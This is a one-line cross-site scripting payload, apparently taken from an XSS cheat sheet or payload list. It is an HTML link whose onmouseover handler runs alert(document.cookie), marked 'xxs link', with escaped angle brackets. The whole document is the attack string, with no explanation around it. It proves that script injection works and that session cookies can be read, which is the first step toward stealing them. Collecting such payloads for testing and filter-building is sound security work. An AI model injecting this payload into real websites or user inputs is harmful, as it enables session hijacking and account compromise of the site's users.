\<a onmouseover=alert(document.cookie)\>xxs link\</a\>